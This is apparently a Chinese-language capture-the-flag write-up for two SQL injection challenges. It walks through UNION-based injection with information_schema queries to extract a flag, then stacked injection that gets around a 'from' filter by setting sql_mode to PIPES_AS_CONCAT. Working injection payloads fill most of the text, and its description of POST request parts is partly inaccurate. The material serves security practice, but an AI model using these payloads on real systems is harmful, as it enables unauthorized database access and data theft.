easy-sql
(之前做过类似题,就扒拉了一下题库,又找到了这一题练练手)
先查看回显参数 /?wllm=1 如图
判断字段数 /?wllm=-1' order by 3--+
/?wllm=-1' order by 4--+
查询4时出现如图情况,因此有3个显示位
查回显 /?wllm=-1' union select 1,2,3--+
查表名 /?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
查列名 /?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+
查字段 /?wllm=-1' union select 1,2,group_concat(id,flag) from test_tb--+
得到flag
EasySQL
打开实例
先试试提交1,0,1'
发现只有提交1时才有响应(说明是堆叠注入)
查库
查表
查字段
发现回显no,查看源代码,发现from被禁了
在此处发现是post请求中的query
插播:post请求分为三大部分
header(请求头)
body(多参数请求体)
query(单参数请求体)
此处提示用query说明只有一个请求体
1;set sql_mode=PIPES_AS_CONCAT;select 1
此处沿用该段参数:set sql=PIPES_AS_CONCAT; 这是用来设置MySQL数据库的sql_mode参数将其设置为PIPES_AS_CONCAT。该参数的作用是将竖线(' | ')解释为字符串连接操作符,而不是按位或操作符。
select 1 是一个简单的查询语句,它会返回一个结果集,其中只包含一个值为1的列。
输入上述参数,得到flag